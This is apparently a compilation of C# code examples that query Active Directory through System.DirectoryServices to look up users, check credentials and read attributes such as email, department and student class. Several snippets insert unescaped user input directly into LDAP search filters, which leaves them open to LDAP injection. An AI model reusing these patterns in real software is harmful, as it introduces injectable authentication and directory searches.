                System.DirectoryServices.DirectoryEntry    CN_Result;
                CN_Main.AuthenticationType = AuthenticationTypes.None;
                foreach (System.DirectoryServices.SearchResult ResultSearch in DirSearcher.FindAll())
                {
                    if (ResultSearch != null)
                    {
                        CN_Result = ResultSearch.GetDirectoryEntry();
                        if ((string)CN_Result.Properties["userclass"][0] == "noname")
                        {
                            strResult = strResult + "Name : " + CN_Result.InvokeGet("sn");
                        }
                    }
                }
                Console.WriteLine(strResult);
            }
        }
Exemple #44
0
        public List <ADUser> SearchAD(String FirstName, String LastName, Boolean ForUser, int AuditUserID)
        {
            List <ADUser> lstUsers  = new List <ADUser>();
            String        Domain    = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADDomain").FirstOrDefault().ParamValue;
            Parameter     adminName = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADUsername").FirstOrDefault();
            Parameter     password  = db.Parameters.AsNoTracking().Where(p => p.ParamName == "ADPassword").FirstOrDefault();

            password.ParamValue = util.Decrypt(password.ParamValue);

            string strRootForest = "LDAP://" + Domain;

            System.DirectoryServices.DirectoryEntry root = new System.DirectoryServices.DirectoryEntry(strRootForest, adminName.ParamValue, password.ParamValue);

            System.DirectoryServices.DirectorySearcher searcher = new System.DirectoryServices.DirectorySearcher(root);
            searcher.SearchScope     = SearchScope.Subtree;
            searcher.ReferralChasing = ReferralChasingOption.All;

            string vbSearchCriteria = null;

            if (!(string.IsNullOrEmpty(FirstName)))
            {
                vbSearchCriteria = vbSearchCriteria + "(givenName=" + FirstName.TrimStart().TrimEnd() + "*)";
            }

            if (!(string.IsNullOrEmpty(LastName)))
            {
                vbSearchCriteria = vbSearchCriteria + "(sn=" + LastName.TrimStart().TrimEnd() + "*)";
            }

            searcher.Filter = "(&(objectClass=user)" + vbSearchCriteria + ")";

            SearchResultCollection vbResults = searcher.FindAll();
            int vbCount = vbResults.Count;

            if (vbCount == 0)
            {
                throw new Exception("Account cannot be found in Active Directory.");
            }

            for (int i = 0; i <= vbCount - 1; i++)
            {
                SearchResult result = vbResults[i];

                System.DirectoryServices.DirectoryEntry ADsObject = result.GetDirectoryEntry();
                string vbUsername    = Domain + "\\" + result.Properties["sAMAccountName"][0].ToString();
                string vbFname       = "";
                string vbLname       = "";
                string vbEmail       = "";
                string vbEmpNum      = "";
                string vbManagerPath = "";
                Guid   vbManagerGUID;
                int?   vbManagerID = null;

                if (result.Properties["givenName"].Count > 0)
                {
                    vbFname = result.Properties["givenName"][0].ToString();
                }

                if (result.Properties["sn"].Count > 0)
                {
                    vbLname = result.Properties["sn"][0].ToString();
                }

                if (result.Properties["mail"].Count > 0)
                {
                    vbEmail = result.Properties["mail"][0].ToString();
                }

                if (result.Properties["employeeNumber"].Count > 0)
                {
                    vbEmpNum = result.Properties["employeeNumber"][0].ToString();
                }

                if (result.Properties["manager"].Count > 0)
                {
                    vbManagerPath = result.Properties["manager"][0].ToString();
                    vbManagerGUID = GetUserByPath(vbManagerPath).Guid;

                    AddMissingManagers(vbManagerPath, AuditUserID);

                    Employee manager = db.Employees.Where(e => e.ADGUID == vbManagerGUID).FirstOrDefault();

                    vbManagerID = manager.EmpID;
                }

                Boolean isAManger = IsAManager(result.Properties["distinguishedName"][0].ToString(), adminName.ParamValue, password.ParamValue, Domain);

                ADUser user = new ADUser();
                user.Username    = vbUsername.Replace(Domain + "\\", "");
                user.FirstName   = vbFname;
                user.LastName    = vbLname;
                user.Email       = vbEmail;
                user.ADGUID      = ADsObject.Guid.ToString();
                user.ManagerID   = vbManagerID;
                user.EmpNum      = vbEmpNum;
                user.IsManager   = isAManger;
                user.ManagerPath = vbManagerPath;

                lstUsers.Add(user);
            }

            for (int i = 0; i <= lstUsers.Count - 1; i++)
            {
                string username = lstUsers[i].Username.Replace(Domain + "\\", "").ToString().ToUpper().TrimEnd();

                if (ForUser == true)
                {
                    List <User> lstExistingUsers = db.Users.ToList();

                    if (lstExistingUsers.Any(s => s.Username.ToString().ToUpper().TrimEnd() == username))
                    {
                        lstUsers[i].Exists = true;
                    }
                    else
                    {
                        lstUsers[i].Exists = false;
                    }
                }
                else
                {
                    List <Employee> lstExistingEmps = db.Employees.ToList();

                    if (lstExistingEmps.Any(s => s.Username.ToString().ToUpper().TrimEnd() == username))
                    {
                        lstUsers[i].Exists = true;
                    }
                    else
                    {
                        lstUsers[i].Exists = false;
                    }
                }
            }

            return(lstUsers);
        }
        private void GetUsedAttributes(string objectDn)
        {
            // Get the currently connected LDAP context
            System.DirectoryServices.DirectoryEntry entry1 = new System.DirectoryServices.DirectoryEntry("LDAP://RootDSE");
            string domainContext = entry1.Properties["defaultNamingContext"].Value as string;

            // Use the default naming context as the connected context may not work for searches
            System.DirectoryServices.DirectoryEntry    entry    = new System.DirectoryServices.DirectoryEntry("LDAP://" + domainContext);
            System.DirectoryServices.DirectorySearcher adSearch = new System.DirectoryServices.DirectorySearcher(entry);

            adSearch.Filter      = "(&((&(objectCategory=Person)(objectClass=User)))(samaccountname=" + objectDn + "))";
            adSearch.SearchScope = SearchScope.Subtree;

            //adSearch.Filter = "(&(objectClass=user)(anr=" + objectDn + "))";
            string[] requiredProperties = new string[] { "cn", "userprincipalname", "physicaldeliveryofficename", "distinguishedname", "telephonenumber", "mail", "title", "department", "adspath" };

            foreach (String property in requiredProperties)
            {
                adSearch.PropertiesToLoad.Add(property);
            }

            SearchResult result = adSearch.FindOne();

            if (result != null)
            {
                foreach (String property in requiredProperties)
                {
                    if (result.GetDirectoryEntry().Properties[property].Value != null)
                    {
                        switch (property)
                        {
                        case "cn":
                            this._fullname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "userprincipalname":
                            this._userprincipalname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "physicaldeliveryofficename":
                            this._physicaldeliveryofficename = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "distinguishedname":
                            this._distinguishedname = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "telephonenumber":
                            this._telephonenumber = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "department":
                            this._department = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "mail":
                            this._email = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "title":
                            this._title = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        case "adspath":
                            this._adspath = result.GetDirectoryEntry().Properties[property].Value.ToString();
                            break;

                        default:
                            break;
                        }
                    }
                }
            }
        }
        public string validarUsuario(string usuario, string clave, string dominio)
        {
            dominio = (dominio == "") ? "GRUPORANSA" : dominio;
            string rpta = "";
            AccesoUsuarioOutput usuarios = new AccesoUsuarioOutput();

            DirectoryEntry domain = new DirectoryEntry("LDAP://" + dominio);

            using (DirectorySearcher Searcher = new DirectorySearcher(dominio))
            {
                //Searcher.Filter = "(&(objectCategory=user)(ANR=" + usuario + " * ))"; // busca todas las cuentas que se parezcan
                Searcher.Filter      = "(SAMAccountName=" + usuario + ")";                     // "(SAMAccountName=" & usuario & ")"; // filtra por usuario especifico
                Searcher.SearchScope = SearchScope.Subtree;                                    // Start at the top and keep drilling down

                Searcher.PropertiesToLoad.Add("sAMAccountName");                               // Load User ID
                Searcher.PropertiesToLoad.Add("displayName");                                  // Load Display Name
                Searcher.PropertiesToLoad.Add("givenName");                                    // Load Users first name
                Searcher.PropertiesToLoad.Add("sn");                                           // Load Users last name
                Searcher.PropertiesToLoad.Add("distinguishedName");                            // Users Distinguished name

                Searcher.PropertiesToLoad.Add("proxyAddresses");                               // correo del usuario
                Searcher.PropertiesToLoad.Add("department");                                   // area de trabajo
                Searcher.PropertiesToLoad.Add("title");                                        // rol del usuario
                Searcher.PropertiesToLoad.Add("userAccountControl");                           // Users Distinguished name
                Searcher.Sort.PropertyName = "sAMAccountName";                                 // Sort by user ID
                Searcher.Sort.Direction    = System.DirectoryServices.SortDirection.Ascending; // A-Zt)

                using (var users = Searcher.FindAll())                                         // Users contains our searh results
                {
                    if (users.Count > 0)
                    {
                        foreach (SearchResult User in users) // goes throug each user in the search resultsg
                        {
                            variablesGlobales._estCuentaUsuario = Convert.ToInt32(User.Properties["userAccountControl"][0]);
                            int flagExists = variablesGlobales._estCuentaUsuario & 0x2;
                            if (flagExists > 0)
                            {
                                usuarios.IDUSER   = 0;
                                usuarios.USERNM   = "La cuenta de usuario se encuentra deshabilitada";
                                usuarios.NVLACC   = "SIN ACCESO";
                                usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                                rpta = JsonConvert.SerializeObject(usuarios);
                            }

                            System.DirectoryServices.DirectoryEntry    Entry       = new System.DirectoryServices.DirectoryEntry("LDAP://" + dominio, usuario, clave);
                            System.DirectoryServices.DirectorySearcher valSearcher = new System.DirectoryServices.DirectorySearcher(Entry);
                            valSearcher.SearchScope = System.DirectoryServices.SearchScope.OneLevel;

                            try
                            {
                                System.DirectoryServices.SearchResult Results = valSearcher.FindOne();
                            }
                            catch (Exception ex)
                            {
                                //rpta = "[{id=0, mensaje = '"+ ex.Message + "'}]";
                                rpta = "{\"id\":0, \"mensaje\": \"" + ex.Message + "\"}";
                                return(rpta);
                            }

                            if (User.Properties.Contains("displayName"))
                            {
                                variablesGlobales._NombreUsuario = System.Convert.ToString(User.Properties["displayName"][0]);
                            }

                            variablesGlobales._rolUsuario    = (User.Properties["title"].Count > 0) ? System.Convert.ToString(User.Properties["title"][0]) : "";
                            variablesGlobales._dptoUsuario   = (User.Properties["department"].Count > 0) ? System.Convert.ToString(User.Properties["department"][0]) : "";
                            variablesGlobales._correoUsuario = (User.Properties["proxyAddresses"].Count > 0) ? System.Convert.ToString(User.Properties["proxyAddresses"][0]) : "";
                            variablesGlobales._cuentaUsuario = (User.Properties["sAMAccountName"].Count > 0) ? System.Convert.ToString(User.Properties["sAMAccountName"][0]).ToUpper() : "";

                            usuarios = ValidarAccesos(variablesGlobales._cuentaUsuario);

                            rpta = JsonConvert.SerializeObject(usuarios);
                        }
                    }
                    else
                    {
                        usuarios.IDUSER   = 0;
                        usuarios.USERNM   = "No EXiste";
                        usuarios.NVLACC   = "SIN ACCESO";
                        usuarios.PERMISOS = new List <CE_AccesosUsuario>();
                        rpta = JsonConvert.SerializeObject(usuarios);
                    }
                }
            }
            return(rpta);
        }
Exemple #47
0
        private void GetPropertyFromAD(DataTable result)
        {
            string userName = this.Context.User.Identity.Name;

            using (HostingEnvironment.Impersonate())
            {
                DirectoryEntry dirEntry    = new DirectoryEntry(_adEntryPoint);
                string         studentName = "";

                // Trim the domain name
                if (userName.IndexOf("\\") != 0)
                {
                    userName = userName.Substring(userName.LastIndexOf("\\") + 1);
                }

                // We are storing the Children of a Parent in the  property of Active Directory specified
                System.DirectoryServices.DirectorySearcher mySearcher = new System.DirectoryServices.DirectorySearcher(dirEntry);
                mySearcher.PropertiesToLoad.Add(_adChildAttribute);
                //Set the filter for the current user
                mySearcher.Filter = "(&(objectCategory=user)(samaccountname=" + userName + "))";

                ResultPropertyValueCollection myResultPropColl = null;

                try
                {
                    myResultPropColl = mySearcher.FindOne().Properties[_adChildAttribute];
                }
                catch (Exception ex)
                {
                    Debug(ex.ToString());
                    ShowMessage(LoadResource(GenericErrMsg), String.Format(LoadResource("ErrorRetrievingChildren"), ex.ToString()));
                    return;
                }

                //if null an error occured
                if (myResultPropColl == null)
                {
                    ShowMessage(LoadResource(GenericErrMsg));
                    return;
                }
                //if count =0 then no childern
                if (myResultPropColl.Count == 0)
                {
                    ShowMessage(LoadResource("NoChild"));
                }

                // Loop through each found child, and return their Display Name , Image Url and First Name
                foreach (object myCollection in myResultPropColl)
                {
                    string orgStudentName = myCollection.ToString();

                    Debug("{0} in AD attribute", orgStudentName);

                    if (!IsMember(orgStudentName, _studentsSiteURL))
                    {
                        Debug("Not member");
                        continue;
                    }

                    DataRow studentRow = result.NewRow();
                    studentRow[IsSelectedColumnName] = false;

                    studentRow[UserNameColumnName] = orgStudentName;

                    // Trim the domain name
                    if (orgStudentName.IndexOf("\\") != 0)
                    {
                        studentName = orgStudentName.Substring(orgStudentName.LastIndexOf("\\") + 1);
                    }

                    try
                    {
                        //read display name property
                        mySearcher.PropertiesToLoad.Add(DisplayNameColumnName);
                        mySearcher.Filter = "(&(objectCategory=user)(samaccountname=" + studentName + "))";

                        System.DirectoryServices.SearchResult SrchRes;
                        SrchRes = mySearcher.FindOne();

                        if (SrchRes != null)
                        {
                            studentRow[DisplayNameColumnName] = SrchRes.Properties[DisplayNameColumnName][0].ToString();
                            string pictureURL = GetStudentImage(studentName);
                            if (pictureURL == null)
                            {
                                System.Uri defaultpic = new Uri(new Uri(Context.Request.Url.ToString()), DefaultPictureURL);
                                pictureURL = defaultpic.OriginalString.ToString();
                            }
                            studentRow[ImageUrlColumnName] = pictureURL;

                            result.Rows.Add(studentRow);
                        }
                        else // No user object found for the attached child
                        {
                            ShowMessage(String.Format(LoadResource("NoChildFound"), studentName));
                        }
                    }
                    catch (Exception ex)
                    {
                        ShowMessage(LoadResource(GenericErrMsg), String.Format(LoadResource("ErrorRetrievingChildInfo"), studentName, ex.Message));
                    }
                }

                mySearcher.Dispose();
            }
        }
 /// <summary>
 ///     Create UserController with Default Items
 /// </summary>
 public UserManagementController()
 {
     _de = new DirectoryEntry(
         ConfigurationManager.ConnectionStrings["ADConn"]
             .ConnectionString);
     _adSearch = new DirectorySearcher(_de);
 }
        private async Task<string> GetStudentClass(string studentnumber)
        {
            await Task.Delay(0);
            try
            {
                using (DirectoryEntry dir = new DirectoryEntry(LDAP_URL)) //Instantiate dir entry and pass the domain
                {
                    dir.Username = USERNAME;
                    dir.Password = PASSWORD;

                    using (DirectorySearcher search = new DirectorySearcher(dir)) //Search query instance
                    {
                        search.Filter = "(&(objectClass=user)(pager=" + studentnumber + "))"; //Filter by pager (Student number)
                        search.PropertiesToLoad.Add("telephoneNumber"); //Allows us to use the "pager" property to search by student ID
                        SearchResult searchresult = search.FindOne();

                        using (DirectoryEntry uEntry = searchresult.GetDirectoryEntry())
                        {
                            string leerlingnaam = uEntry.Properties["givenName"].Value.ToString() + " " + uEntry.Properties["sn"].Value.ToString(); //Store full student name in string
                            string LDAPDescription = uEntry.Properties["memberOf"][1].ToString();

                            //Clean it up to only return the students class id
                            return LDAPDescription.Substring(LDAPDescription.IndexOf('=') + 1, LDAPDescription.IndexOf(',') - 3) + "@" + leerlingnaam;
                        }
                    }
                }
            }
            catch
            {
                return "";
            }
        }